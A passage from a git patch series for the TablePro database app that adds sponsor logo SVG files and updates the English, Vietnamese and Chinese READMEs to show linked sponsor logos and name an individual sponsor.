24.4539 29.2636 24.7213ZM3.70244 21.3813C5.42498 22.6638 7.24236 23.1353 9.06723 23.6084C9.44739 23.7076 9.82777 23.8051 10.208 23.9118C10.0488 24.6522 9.90139 25.379 9.75255 26.1164L9.461 27.5551C6.69522 26.9424 4.03154 26.3312 1.80088 24.6267C-0.7244 22.6893 -0.56501 19.7683 2.09697 18.0113C4.42088 16.4705 7.04837 15.6985 9.74813 15.3246C12.2749 14.9656 14.8273 14.7314 17.3781 14.4986C18.4603 14.3979 19.5426 14.2988 20.6249 14.1907C21.0314 14.1587 21.4392 14.1442 21.847 14.1471L22.1641 14.1442L21.7628 13.6095C19.3096 10.34 16.9452 7.18627 13.24 5.05987C12.9618 7.09926 13.4428 8.86083 13.9358 10.6674C14.0486 11.079 14.1614 11.4934 14.2665 11.914C13.6116 12.1325 12.9572 12.3527 12.3035 12.5748L10.7506 13.1004L10.7206 12.9983C9.78715 10.0458 8.87778 7.16528 9.6188 4.11669C10.172 1.91053 12.2643 0.904388 14.474 1.63724C16.3304 2.274 17.8201 3.46188 19.209 4.78794C22.337 7.80216 24.8773 11.2938 27.2012 14.9326C27.6221 15.5933 27.6506 16.2992 27.2718 17.0006C26.8285 17.798 26.0693 18.0142 25.2035 18.0127C24.5376 18.0173 23.8702 18.0173 23.2028 18.0188C21.3223 18.0188 19.4358 18.0217 17.5555 18.1283C13.7013 18.3431 9.87882 18.8222 6.21716 20.1708C5.67603 20.3691 5.13785 20.6469 4.51413 20.9667C4.24471 21.1071 3.97414 21.2453 3.70244 21.3813ZM16.0493 26.7022L16.5694 25.4616C16.6646 25.6278 16.7588 25.7945 16.852 25.9617C16.9858 26.199 17.0849 26.3762 17.1871 26.5324C19.3412 30.0856 21.7056 33.4797 24.5316 36.5284C26.1309 38.2554 27.8205 39.8893 29.973 40.9376C32.9493 42.3703 35.47 41.0983 35.8744 37.8333C36.2081 35.2128 35.4986 32.7303 34.6794 30.2719C34.6162 30.1277 34.2104 29.9805 34.018 30.0316C33.5731 30.1442 33.1342 30.2898 32.6953 30.4356C32.3374 30.5542 31.9782 30.6728 31.6145 30.7749C31.0779 30.9251 31.0282 31.1534 31.1605 31.6596C31.5393 33.1463 31.8625 34.648 32.1481 36.1499C32.1977 36.4593 32.1782 36.7851 32.1556 37.1696C32.1436 37.3754 32.1301 37.6007 32.1255 37.8484C31.9 37.7148 31.6941 37.5991 31.5062 37.491C31.1349 37.2808 30.8238 37.105 30.5322 36.8992C27.9738 35.0445 25.9115 32.6597 24.1438 30.0856C22.373 27.5056 20.7436 24.8279 19.1142 22.1487L18.3627 20.9142C17.3841 19.2923 15.5592 19.1587 14.7054 20.776C12.5094 24.9736 10.5538 29.2731 9.71353 33.9738C9.4399 35.5161 9.48357 37.1576 9.69402 38.7029C9.92249 40.3173 11.2467 41.4602 12.7213 41.4738C13.671 41.477 14.6104 41.2773 15.4766 40.8881C17.7088 39.8818 19.3803 38.1142 21.0037 36.3346C21.1195 36.1874 21.0818 35.7068 20.9421 35.5672C20.5807 35.207 20.2051 34.8613 19.8162 34.531C19.5666 34.3132 19.3187 34.0955 19.0782 33.8702C18.6903 33.5127 18.4348 33.5593 18.068 33.9318C17.2082 34.8088 16.3545 35.6633 15.4285 36.4577C15.0046 36.8181 14.5221 37.108 14.0396 37.3994C13.8461 37.5143 13.6541 37.632 13.4639 37.7523C13.4146 37.7186 13.3669 37.6825 13.3211 37.6441C13.2752 37.6058 13.2275 37.5698 13.1782 37.536C13.0957 33.7095 14.5311 30.3004 16.0493 26.7022Z" fill="white"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M29.2636 24.7213L29.6769 24.6747C33.803 24.1956 37.8014 23.7316 41.6075 21.536C39.8908 20.2293 38.0074 19.7488 36.1013 19.2653C35.7751 19.1832 35.4495 19.0991 35.1243 19.013L35.3107 18.1119V18.1059L35.8728 15.3696C38.7018 15.9854 41.4226 16.6251 43.6727 18.3987C45.8824 20.1347 45.9831 22.7465 43.7479 24.4389C42.4552 25.4031 40.91 26.136 39.3587 26.648C35.1018 28.0807 30.6419 28.4652 26.1731 28.6934C25.3177 28.7445 24.6293 28.4202 24.2085 27.6572C23.7619 26.8522 23.9754 26.1074 24.4293 25.3625C26.9968 21.2522 29.2335 16.9525 30.7968 12.3555C31.2988 10.8387 31.6475 9.27093 31.9933 7.7105L32.0594 7.41157C32.1525 6.96403 32.1541 6.49551 32.1541 5.96844C32.1541 5.71455 32.1541 5.44728 32.1661 5.16185C31.9858 5.24455 31.8218 5.3091 31.6731 5.36764C31.3875 5.48029 31.153 5.57343 30.9666 5.73259C29.7198 6.75863 28.5076 7.82598 27.3319 8.93286C26.8901 9.34887 26.6345 9.39549 26.197 8.9855C25.6665 8.47046 25.1148 7.97925 24.4865 7.42212L23.9138 6.91151C24.2896 6.55563 24.6578 6.19363 25.0216 5.83628C25.8243 5.04625 26.6135 4.26836 27.4793 3.58951C28.5224 2.78757 29.6784 2.03974 30.9155 1.60718C33.3431 0.769162 35.3829 2.14184 35.8083 4.68584C36.2141 7.16381 35.6323 9.52618 34.9305 11.8584C33.7249 15.9267 31.9437 19.7639 29.9054 23.4688C29.8152 23.6534 29.722 23.8292 29.6243 24.0154C29.5145 24.2287 29.3958 24.4539 29.2636 24.7213ZM3.70244 21.3813C5.42498 22.6638 7.24236 23.1353 9.06723 23.6084C9.44739 23.7076 9.82777 23.8051 10.208 23.9118C10.0488 24.6522 9.90139 25.379 9.75255 26.1164L9.461 27.5551C6.69522 26.9424 4.03154 26.3312 1.80088 24.6267C-0.7244 22.6893 -0.56501 19.7683 2.09697 18.0113C4.42088 16.4705 7.04837 15.6985 9.74813 15.3246C12.2749 14.9656 14.8273 14.7314 17.3781 14.4986C18.4603 14.3979 19.5426 14.2988 20.6249 14.1907C21.0314 14.1587 21.4392 14.1442 21.847 14.1471L22.1641 14.1442L21.7628 13.6095C19.3096 10.34 16.9452 7.18627 13.24 5.05987C12.9618 7.09926 13.4428 8.86083 13.9358 10.6674C14.0486 11.079 14.1614 11.4934 14.2665 11.914C13.6116 12.1325 12.9572 12.3527 12.3035 12.5748L10.7506 13.1004L10.7206 12.9983C9.78715 10.0458 8.87778 7.16528 9.6188 4.11669C10.172 1.91053 12.2643 0.904388 14.474 1.63724C16.3304 2.274 17.8201 3.46188 19.209 4.78794C22.337 7.80216 24.8773 11.2938 27.2012 14.9326C27.6221 15.5933 27.6506 16.2992 27.2718 17.0006C26.8285 17.798 26.0693 18.0142 25.2035 18.0127C24.5376 18.0173 23.8702 18.0173 23.2028 18.0188C21.3223 18.0188 19.4358 18.0217 17.5555 18.1283C13.7013 18.3431 9.87882 18.8222 6.21716 20.1708C5.67603 20.3691 5.13785 20.6469 4.51413 20.9667C4.24471 21.1071 3.97414 21.2453 3.70244 21.3813ZM16.0493 26.7022L16.5694 25.4616C16.6646 25.6278 16.7588 25.7945 16.852 25.9617C16.9858 26.199 17.0849 26.3762 17.1871 26.5324C19.3412 30.0856 21.7056 33.4797 24.5316 36.5284C26.1309 38.2554 27.8205 39.8893 29.973 40.9376C32.9493 42.3703 35.47 41.0983 35.8744 37.8333C36.2081 35.2128 35.4986 32.7303 34.6794 30.2719C34.6162 30.1277 34.2104 29.9805 34.018 30.0316C33.5731 30.1442 33.1342 30.2898 32.6953 30.4356C32.3374 30.5542 31.9782 30.6728 31.6145 30.7749C31.0779 30.9251 31.0282 31.1534 31.1605 31.6596C31.5393 33.1463 31.8625 34.648 32.1481 36.1499C32.1977 36.4593 32.1782 36.7851 32.1556 37.1696C32.1436 37.3754 32.1301 37.6007 32.1255 37.8484C31.9 37.7148 31.6941 37.5991 31.5062 37.491C31.1349 37.2808 30.8238 37.105 30.5322 36.8992C27.9738 35.0445 25.9115 32.6597 24.1438 30.0856C22.373 27.5056 20.7436 24.8279 19.1142 22.1487L18.3627 20.9142C17.3841 19.2923 15.5592 19.1587 14.7054 20.776C12.5094 24.9736 10.5538 29.2731 9.71353 33.9738C9.4399 35.5161 9.48357 37.1576 9.69402 38.7029C9.92249 40.3173 11.2467 41.4602 12.7213 41.4738C13.671 41.477 14.6104 41.2773 15.4766 40.8881C17.7088 39.8818 19.3803 38.1142 21.0037 36.3346C21.1195 36.1874 21.0818 35.7068 20.9421 35.5672C20.5807 35.207 20.2051 34.8613 19.8162 34.531C19.5666 34.3132 19.3187 34.0955 19.0782 33.8702C18.6903 33.5127 18.4348 33.5593 18.068 33.9318C17.2082 34.8088 16.3545 35.6633 15.4285 36.4577C15.0046 36.8181 14.5221 37.108 14.0396 37.3994C13.8461 37.5143 13.6541 37.632 13.4639 37.7523C13.4146 37.7186 13.3669 37.6825 13.3211 37.6441C13.2752 37.6058 13.2275 37.5698 13.1782 37.536C13.0957 33.7095 14.5311 30.3004 16.0493 26.7022Z" fill="black"/>
+</g>
+<defs>
+<clipPath id="clip0_17301_238">
+<rect width="145.209" height="42.8821" fill="white"/>
+</clipPath>
+</defs>
+</svg>
+</svg>
diff --git a/.github/assets/sponsors/simplelocalize.svg b/.github/assets/sponsors/simplelocalize.svg
new file mode 100644
index 0000000000..68fd60cf9e
--- /dev/null
+++ b/.github/assets/sponsors/simplelocalize.svg
@@ -0,0 +1,4 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="166" height="44" viewBox="0 0 166 44">
+<rect width="166" height="44" rx="6" fill="#ffffff"/>
+<svg x="8" y="8" width="150" height="28" viewBox="0 0 540 101" ><g><path d="m37.4632813 15c3.6703125 0 7.0664056.9408143 10.1882812 2.8224448s5.56875 4.3619602 7.340625 7.4409909c2.025-1.3684588 4.2609381-2.0526872 6.7078125-2.0526872 3.3750006 0 6.2437494 1.1974002 8.60625 3.5922025s3.54375 5.3027744 3.54375 8.7239203c0 1.5395154-.253125 3.036267-.759375 4.4902531 3.7124994.7697577 6.7921881 2.6513882 9.2390625 5.6448896s3.6703125 6.457411 3.6703125 10.3917286c0 2.9935014-.7171881 5.7517998-2.1515625 8.274895-1.2971127 2.2816491-3.0254711 4.1261562-5.1850751 5.5335214-6.5590601 4.7962625-20.4626558 11.6811531-37.9512338 16.0245926-5.9620542 1.4807277 10.86565-12.0233509 4.1742477-13.4117378l-21.6613763.0002259c-3.290625 0-6.328125-.8339042-9.1125-2.5017125s-4.99921875-3.9129348-6.64453125-6.7353796-2.46796875-5.9014755-2.46796875-9.2370921c0-4.019845 1.1390625-7.6120475 3.4171875-10.7766074 2.278125-3.16456 5.1890625-5.3883038 8.7328125-6.6712332v-1.0263436c0-3.6777317.9070319-7.0988757 2.7210938-10.2634356 1.8140618-3.16456 4.2820306-5.6662725 7.4039062-7.5051374s6.5179688-2.7582983 10.1882813-2.7582983z" fill-rule="evenodd"/><path d="m125.985708 72.8988693c2.066516 0 4.03368-.2781848 5.901492-.8345545 1.867813-.5563697 3.507116-1.3909242 4.917911-2.5036635 1.410794-1.1127393 2.533469-2.5135987 3.368023-4.202578.834555-1.6889794 1.251832-3.6660787 1.251832-5.9312981 0-2.5036635-.496759-4.5105684-1.490276-6.0207146s-2.225478-2.7222373-3.695884-3.6362732-3.079904-1.6293683-4.828494-2.1459973c-1.74859-.5166289-3.358088-1.0531283-4.828494-1.6094979-1.470405-.5563697-2.702367-1.2120911-3.695884-1.9671642s-1.490276-1.8479421-1.490276-3.278607c0-.9537765.198704-1.7783959.59611-2.473858.397407-.695462.923971-1.2617669 1.579693-1.6989145.655721-.4371476 1.390924-.7550731 2.205608-.9537765.814684-.1987035 1.659174-.2980552 2.533469-.2980552 1.470406 0 2.871265.2682496 4.202578.804749 1.331313.5364993 2.394377 1.380989 3.189191 2.533469l5.484215-5.7822705c-1.669109-1.5498869-3.546857-2.6626262-5.633243-3.338218-2.086386-.6755917-4.242319-1.0133876-6.467797-1.0133876-1.947294 0-3.854847.2583145-5.72266.7749435-1.867812.5166289-3.526986 1.3015076-4.977521 2.3546359s-2.622886 2.3745062-3.517051 3.9641339c-.894166 1.5896276-1.341249 3.4773104-1.341249 5.6630484 0 2.5036635.496759 4.5006332 1.490276 5.990909.993518 1.4902759 2.225479 2.6824967 3.695884 3.5766622 1.470406.8941655 3.079904 1.5995628 4.828494 2.1161918 1.748591.5166289 3.358089 1.0630634 4.828494 1.6393034 1.470406.5762401 2.702367 1.2816373 3.695884 2.1161918.993518.8345545 1.490276 2.0267752 1.490276 3.5766622 0 .9537765-.218573 1.7982662-.655721 2.533469-.437148.7352027-1.013388 1.3412483-1.72872 1.8181366-.715332.4768882-1.510146.8345545-2.384441 1.0729986-.874296.2384441-1.748591.3576662-2.622886.3576662-1.669109 0-3.248802-.3874717-4.739077-1.1624152-1.490276-.7749434-2.692432-1.8578773-3.606468-3.2488014l-5.663048 5.4842153c1.74859 2.0665159 3.834976 3.5369214 6.259158 4.4112166s4.947716 1.3114428 7.570602 1.3114428zm26.034944-35.1109001c1.311443 0 2.414247-.407342 3.308413-1.2220262.894165-.8146841 1.341248-1.8380069 1.341248-3.0699683s-.447083-2.2552842-1.341248-3.0699684c-.894166-.8146841-1.99697-1.2220262-3.308413-1.2220262s-2.394376.4272124-3.248801 1.2816373c-.854425.8544248-1.281637 1.8578772-1.281637 3.0103573 0 1.15248.427212 2.1559324 1.281637 3.0103573.854425.8544248 1.937358 1.2816372 3.248801 1.2816372zm3.636273 34.0379014v-28.6132971h-7.153324v28.6132971zm14.887681 0v-15.6180913c0-.9537766.119222-1.8678125.357666-2.7421077.238445-.8742951.625916-1.6492386 1.162416-2.3248304.536499-.6755917 1.212091-1.212091 2.026775-1.6094979s1.818136-.5961104 3.010357-.5961104c1.748591 0 3.000422.5265642 3.755495 1.5796925.755074 1.0531283 1.13261 2.473858 1.13261 4.262189v17.0487562h7.153324v-15.4988692c0-.9140359.109287-1.8181366.327861-2.7123022.218574-.8941655.57624-1.6889793 1.072999-2.3844414.496758-.6954621 1.132609-1.2518317 1.907553-1.669109.774943-.4172772 1.718785-.6259159 2.831524-.6259159 1.072999 0 1.947294.1788331 2.622886.5364993.675591.3576663 1.212091.8444897 1.609498 1.4604704.397406.6159807.675591 1.3313132.834554 2.1459973.158963.8146842.238444 1.6591738.238444 2.533469v16.2142017h7.153325v-17.0487562c0-1.7088497-.178834-3.3084125-.5365-4.7986883-.357666-1.4902759-.943841-2.7917836-1.758525-3.9045229-.814685-1.1127393-1.877748-1.9870345-3.189191-2.6228856-1.311443-.635851-2.920941-.9537765-4.828494-.9537765-2.145997 0-3.993939.4272124-5.543826 1.2816372-1.549887.8544249-2.841459 2.1956732-3.874717 4.0237449-1.470406-3.5369214-4.450958-5.3053821-8.941656-5.3053821-2.384441 0-4.282059.5265641-5.692854 1.5796924-1.410794 1.0531283-2.434117 2.2552842-3.069968 3.6064677h-.119222v-4.4708277h-6.795658v28.6132971zm51.965745 13.5913162v-17.2275893h.178833c.357667.4768883.814684.9637117 1.371054 1.4604703.55637.4967587 1.231962.9637118 2.026775 1.4008594.794814.4371476 1.70885.7948138 2.742108 1.0729986 1.033258.2781849 2.225479.4172773 3.576662.4172773 2.026775 0 3.894588-.3874718 5.603438-1.1624152 1.708849-.7749435 3.16932-1.838007 4.381411-3.1891904 1.212091-1.3511835 2.155932-2.9408111 2.831524-4.7688829s1.013387-3.7952359 1.013387-5.9014925-.317925-4.0734208-.953776-5.9014926c-.635851-1.8280717-1.569757-3.4176993-2.801719-4.7688828-1.231961-1.3511835-2.722237-2.414247-4.470827-3.1891904-1.748591-.7749435-3.715755-1.1624152-5.901493-1.1624152-2.026775 0-3.914458.3974069-5.663048 1.1922207-1.748591.7948138-3.139515 2.0665159-4.172773 3.8151063h-.119222v-4.2919946h-6.795658v42.2046133zm8.166712-19.3139756c-1.311443 0-2.483793-.2384441-3.517051-.7153324s-1.917488-1.1127393-2.652691-1.9075532c-.735203-.7948138-1.291573-1.7088496-1.669109-2.7421076-.377537-1.033258-.566305-2.1062566-.566305-3.2189959 0-1.1127394.188768-2.185738.566305-3.218996.377536-1.0332579.933906-1.9472938 1.669109-2.7421076s1.619433-1.4306649 2.652691-1.9075531c1.033258-.4768883 2.205608-.7153325 3.517051-.7153325s2.483793.2384442 3.517051.7153325c1.033258.4768882 1.917489 1.1127393 2.652691 1.9075531.735203.7948138 1.291573 1.7088497 1.669109 2.7421076.377537 1.033258.566305 2.1062566.566305 3.218996 0 1.1127393-.188768 2.1857379-.566305 3.2189959-.377536 1.033258-.933906 1.9472938-1.669109 2.7421076-.735202.7948139-1.619433 1.4306649-2.652691 1.9075532s-2.205608.7153324-3.517051.7153324zm29.313552 5.7226594v-45.065943h-7.153325v45.065943zm22.160227.7153325c2.265219 0 4.431087-.4371476 6.497603-1.3114428 2.066515-.8742952 3.934328-2.3447007 5.603437-4.4112167l-5.126549-3.8747173c-.914036 1.1127394-1.9771 2.0367104-3.189191 2.7719132s-2.712302 1.1028041-4.500633 1.1028041c-2.026775 0-3.755495-.5961103-5.18616-1.788331s-2.265219-2.8613297-2.503663-5.007327h21.817639v-1.9671642c0-2.5036635-.327861-4.719207-.983582-6.6466305-.655722-1.9274235-1.569758-3.5468566-2.742108-4.8582994s-2.583145-2.3148952-4.232384-3.0103573c-1.649238-.6954621-3.467375-1.0431931-5.454409-1.0431931-2.145998 0-4.172773.3576662-6.080326 1.0729986s-3.556792 1.72872-4.947716 3.0401628-2.493728 2.8911353-3.308412 4.7390774c-.814685 1.8479421-1.222027 3.9045228-1.222027 6.1697422 0 2.2652193.407342 4.3218001 1.222027 6.1697422.814684 1.8479421 1.917488 3.4276345 3.308412 4.7390773s3.040163 2.3248304 4.947716 3.0401628c1.907553.7153325 3.934328 1.0729987 6.080326 1.0729987zm6.259158-17.8833107h-14.664314c.278184-2.0665159 1.043193-3.7157546 2.295024-4.947716 1.251832-1.2319614 2.950747-1.8479421 5.096744-1.8479421 2.265219 0 4.03368.6060455 5.305382 1.8181366 1.271702 1.212091 1.927424 2.8712649 1.967164 4.9775215zm39.745483 17.1679782v-6.795658h-17.942922v-35.4089553h-7.51099v42.2046133zm18.762398.7153325c2.145997 0 4.172773-.3576662 6.080326-1.0729987 1.907553-.7153324 3.556792-1.72872 4.947716-3.0401628s2.493728-2.8911352 3.308412-4.7390773 1.222026-3.9045229 1.222026-6.1697422c0-2.2652194-.407342-4.3218001-1.222026-6.1697422s-1.917488-3.4276346-3.308412-4.7390774-3.040163-2.3248304-4.947716-3.0401628-3.934329-1.0729986-6.080326-1.0729986-4.172772.3576662-6.080325 1.0729986c-1.907554.7153324-3.556792 1.72872-4.947716 3.0401628-1.390925 1.3114428-2.493729 2.8911353-3.308413 4.7390774s-1.222026 3.9045228-1.222026 6.1697422c0 2.2652193.407342 4.3218001 1.222026 6.1697422s1.917488 3.4276345 3.308413 4.7390773c1.390924 1.3114428 3.040162 2.3248304 4.947716 3.0401628 1.907553.7153325 3.934328 1.0729987 6.080325 1.0729987zm0-6.4379919c-1.311443 0-2.483793-.2384441-3.517051-.7153324s-1.917488-1.1127393-2.652691-1.9075532c-.735203-.7948138-1.291572-1.7088496-1.669109-2.7421076s-.566305-2.1062566-.566305-3.2189959c0-1.1127394.188768-2.185738.566305-3.218996.377537-1.0332579.933906-1.9472938 1.669109-2.7421076s1.619433-1.4306649 2.652691-1.9075531c1.033258-.4768883 2.205608-.7153325 3.517051-.7153325s2.483793.2384442 3.517051.7153325c1.033258.4768882 1.917489 1.1127393 2.652691 1.9075531.735203.7948138 1.291573 1.7088497 1.669109 2.7421076.377537 1.033258.566305 2.1062566.566305 3.218996 0 1.1127393-.188768 2.1857379-.566305 3.2189959-.377536 1.033258-.933906 1.9472938-1.669109 2.7421076-.735202.7948139-1.619433 1.4306649-2.652691 1.9075532s-2.205608.7153324-3.517051.7153324zm36.168821 6.4379919c.635851 0 1.390924-.0695462 2.265219-.2086386.874295-.1390925 1.788331-.3676014 2.742108-.685527.953776-.3179255 1.897618-.7352027 2.831524-1.2518317s1.758525-1.1326097 2.473858-1.8479421l-4.768883-5.1265491c-.675592.8742952-1.490276 1.5399518-2.444052 1.9969697-.953777.4570179-1.987035.6855269-3.099774.6855269-1.311443 0-2.483793-.2384441-3.517051-.7153324s-1.917489-1.1127393-2.652692-1.9075532c-.735202-.7948138-1.291572-1.7088496-1.669109-2.7421076-.377536-1.033258-.566304-2.1062566-.566304-3.2189959 0-1.1127394.188768-2.185738.566304-3.218996.377537-1.0332579.933907-1.9472938 1.669109-2.7421076.735203-.7948138 1.619434-1.4306649 2.652692-1.9075531 1.033258-.4768883 2.205608-.7153325 3.517051-.7153325.953776 0 1.887682.2583145 2.801718.7749435s1.788331 1.2120911 2.622886 2.0863862l4.947716-4.9477159c-1.390924-1.5101463-3.010357-2.6129504-4.8583-3.3084125-1.847942-.6954621-3.685949-1.0431931-5.51402-1.0431931-2.145998 0-4.172773.3576662-6.080326 1.0729986s-3.556792 1.72872-4.947716 3.0401628-2.493728 2.8911353-3.308412 4.7390774c-.814685 1.8479421-1.222027 3.9045228-1.222027 6.1697422 0 2.2652193.407342 4.3218001 1.222027 6.1697422.814684 1.8479421 1.917488 3.4276345 3.308412 4.7390773s3.040163 2.3248304 4.947716 3.0401628c1.907553.7153325 3.934328 1.0729987 6.080326 1.0729987zm22.93517 0c1.907553 0 3.656144-.3676014 5.245771-1.1028042 1.589628-.7352028 2.901071-1.9174883 3.934329-3.5468566h.178833v3.9343283h6.437992v-16.4526458c0-.6755918-.019871-1.4604704-.059611-2.3546359-.039741-.8941656-.168898-1.8181366-.387472-2.7719132s-.57624-1.897618-1.072999-2.8315242c-.496758-.9339062-1.202156-1.7585255-2.116191-2.473858-.914036-.7153324-2.066516-1.3015076-3.45744-1.7585255-1.390925-.457018-3.099774-.6855269-5.12655-.6855269-2.265219 0-4.460892.3576662-6.587019 1.0729986s-3.984004 1.8876828-5.573632 3.5170511l3.755495 3.7554953c.953777-.9140359 2.086387-1.6393035 3.397829-2.1758028 1.311443-.5364994 2.722238-.804749 4.232384-.804749 1.907553 0 3.47731.4470828 4.709272 1.3412483 1.231961.8941655 1.847942 2.2354138 1.847942 4.0237449v.7749435h-1.788331c-1.192221 0-2.463923.0298055-3.815106.0894165-1.351184.0596111-2.692432.1987035-4.023745.4172773-1.331314.2185738-2.612951.5464345-3.844912.9835821-1.231962.4371476-2.314895 1.0233227-3.248802 1.7585255-.933906.7352028-1.679044 1.6492387-2.235413 2.7421077-.55637 1.0928689-.834555 2.4142469-.834555 3.9641338 0 1.4306649.298055 2.6824966.894166 3.7554953.59611 1.0729986 1.380989 1.9671642 2.354635 2.6824966.973647.7153324 2.086387 1.2518317 3.338218 1.609498 1.251832.3576662 2.53347.5364993 3.844912.5364993zm1.72872-5.3649932c-.59611 0-1.19222-.0695462-1.788331-.2086387-.59611-.1390924-1.132609-.3676014-1.609498-.6855269-.476888-.3179255-.86436-.7053972-1.162415-1.1624152-.298055-.4570179-.447083-1.0233228-.447083-1.6989145 0-1.0332579.377537-1.8380069 1.13261-2.4142469.755073-.5762401 1.679044-1.0133876 2.771913-1.3114428s2.255284-.4868235 3.487246-.5663049c1.231961-.0794813 2.3447-.119222 3.338218-.119222h1.490276v1.6094979c0 2.0267752-.586176 3.626338-1.758526 4.7986884s-2.990487 1.7585256-5.45441 1.7585256zm28.836663 4.6496607v-45.065943h-7.153324v45.065943zm11.728296-34.0379014c1.311443 0 2.414247-.407342 3.308413-1.2220262.894165-.8146841 1.341248-1.8380069 1.341248-3.0699683s-.447083-2.2552842-1.341248-3.0699684c-.894166-.8146841-1.99697-1.2220262-3.308413-1.2220262-1.311442 0-2.394376.4272124-3.248801 1.2816373-.854425.8544248-1.281637 1.8578772-1.281637 3.0103573 0 1.15248.427212 2.1559324 1.281637 3.0103573.854425.8544248 1.937359 1.2816372 3.248801 1.2816372zm3.636274 34.0379014v-28.6132971h-7.153325v28.6132971zm30.684605 0v-5.7226594h-16.214202l15.498869-16.3930348v-6.4976029h-23.248304v5.7226594h14.604704v.1192221l-15.320036 16.1545907v6.6168249zm20.01423.7153325c2.265219 0 4.431087-.4371476 6.497602-1.3114428 2.066516-.8742952 3.934329-2.3447007 5.603438-4.4112167l-5.126549-3.8747173c-.914036 1.1127394-1.9771 2.0367104-3.189191 2.7719132s-2.712302 1.1028041-4.500633 1.1028041c-2.026775 0-3.755495-.5961103-5.18616-1.788331s-2.265219-2.8613297-2.503663-5.007327h21.817639v-1.9671642c0-2.5036635-.327861-4.719207-.983582-6.6466305-.655722-1.9274235-1.569758-3.5468566-2.742108-4.8582994s-2.583145-2.3148952-4.232384-3.0103573c-1.649238-.6954621-3.467375-1.0431931-5.454409-1.0431931-2.145998 0-4.172773.3576662-6.080326 1.0729986s-3.556792 1.72872-4.947716 3.0401628-2.493728 2.8911353-3.308413 4.7390774c-.814684 1.8479421-1.222026 3.9045228-1.222026 6.1697422 0 2.2652193.407342 4.3218001 1.222026 6.1697422.814685 1.8479421 1.917489 3.4276345 3.308413 4.7390773s3.040163 2.3248304 4.947716 3.0401628c1.907553.7153325 3.934328 1.0729987 6.080326 1.0729987zm6.259158-17.8833107h-14.664314c.278184-2.0665159 1.043193-3.7157546 2.295024-4.947716 1.251832-1.2319614 2.950747-1.8479421 5.096744-1.8479421 2.265219 0 4.03368.6060455 5.305382 1.8181366 1.271702 1.212091 1.927424 2.8712649 1.967164 4.9775215z"/></g></svg>
+</svg>
diff --git a/README.md b/README.md
index 63b8a174f7..3c07e7197e 100644
--- a/README.md
+++ b/README.md
@@ -148,9 +148,17 @@ The app is free under AGPLv3. If you use TablePro at work, please buy a [license
 
 ## Sponsors
 
-Thanks to these amazing people for supporting TablePro:
+TablePro is funded by its users and these sponsors. [Become a sponsor](https://tablepro.app/sponsors).
+
+<p>
+  <a href="https://coderabbit.link/tablepro"><img src=".github/assets/sponsors/coderabbit.svg" height="44" alt="CodeRabbit"></a>
+  <a href="https://simplelocalize.io?ref=tablepro"><img src=".github/assets/sponsors/simplelocalize.svg" height="44" alt="SimpleLocalize"></a>
+  <a href="https://getnimbus.io?ref=tablepro"><img src=".github/assets/sponsors/nimbus.svg" height="44" alt="Nimbus"></a>
+  <a href="https://dwarves.foundation?ref=tablepro"><img src=".github/assets/sponsors/dwarves-foundation.svg" height="44" alt="Dwarves Foundation"></a>
+  <a href="https://pyto.com?ref=tablepro"><img src=".github/assets/sponsors/pyto.svg" height="44" alt="Pyto"></a>
+</p>
 
-**[SimpleLocalize](https://simplelocalize.io?ref=tablepro)** · **[CodeRabbit](https://coderabbit.ai?ref=tablepro)** · **[Nimbus](https://getnimbus.io?ref=tablepro)** · **[Dwarves Foundation](https://dwarves.foundation/?ref=tablepro)**
+Individual sponsors: [朱文锦](https://github.com/zhuwjin)
 
 ## Contributors
 

From 0981ce39dfa0f17209091b6904764d271b99da95 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 16:22:42 +0700
Subject: [PATCH 21/44] docs(readme): show the sponsors in the Vietnamese and
 Chinese READMEs (#3873)

---
 README.vi.md | 12 ++++++++++--
 README.zh.md | 12 ++++++++++--
 2 files changed, 20 insertions(+), 4 deletions(-)

diff --git a/README.vi.md b/README.vi.md
index 0bc23e2e6f..4ea88ccfab 100644
--- a/README.vi.md
+++ b/README.vi.md
@@ -112,9 +112,17 @@ App miễn phí theo AGPLv3. Nếu bạn dùng TablePro cho công việc, hãy m
 
 ## Nhà tài trợ
 
-Cảm ơn những người tuyệt vời đã ủng hộ TablePro:
+TablePro được duy trì nhờ người dùng và các nhà tài trợ dưới đây. [Trở thành nhà tài trợ](https://tablepro.app/vi/sponsors).
+
+<p>
+  <a href="https://coderabbit.link/tablepro"><img src=".github/assets/sponsors/coderabbit.svg" height="44" alt="CodeRabbit"></a>
+  <a href="https://simplelocalize.io?ref=tablepro"><img src=".github/assets/sponsors/simplelocalize.svg" height="44" alt="SimpleLocalize"></a>
+  <a href="https://getnimbus.io?ref=tablepro"><img src=".github/assets/sponsors/nimbus.svg" height="44" alt="Nimbus"></a>
+  <a href="https://dwarves.foundation?ref=tablepro"><img src=".github/assets/sponsors/dwarves-foundation.svg" height="44" alt="Dwarves Foundation"></a>
+  <a href="https://pyto.com?ref=tablepro"><img src=".github/assets/sponsors/pyto.svg" height="44" alt="Pyto"></a>
+</p>
 
-**[SimpleLocalize](https://simplelocalize.io?ref=tablepro)** · **[CodeRabbit](https://coderabbit.ai?ref=tablepro)** · **[Nimbus](https://getnimbus.io?ref=tablepro)** · **[Dwarves Foundation](https://dwarves.foundation/?ref=tablepro)**
+Nhà tài trợ cá nhân: [朱文锦](https://github.com/zhuwjin)
 
 ## Người đóng góp
 
diff --git a/README.zh.md b/README.zh.md
index 19e3c4d5b7..7fb23a2c33 100644
--- a/README.zh.md
+++ b/README.zh.md
@@ -112,9 +112,17 @@ brew install --cask tablepro
 
 ## 赞助者
 
-感谢这些为 TablePro 提供支持的朋友们:
+TablePro 由用户和以下赞助者支持。[成为赞助者](https://tablepro.app/zh-Hans/sponsors)。
+
+<p>
+  <a href="https://coderabbit.link/tablepro"><img src=".github/assets/sponsors/coderabbit.svg" height="44" alt="CodeRabbit"></a>
+  <a href="https://simplelocalize.io?ref=tablepro"><img src=".github/assets/sponsors/simplelocalize.svg" height="44" alt="SimpleLocalize"></a>
+  <a href="https://getnimbus.io?ref=tablepro"><img src=".github/assets/sponsors/nimbus.svg" height="44" alt="Nimbus"></a>
+  <a href="https://dwarves.foundation?ref=tablepro"><img src=".github/assets/sponsors/dwarves-foundation.svg" height="44" alt="Dwarves Foundation"></a>
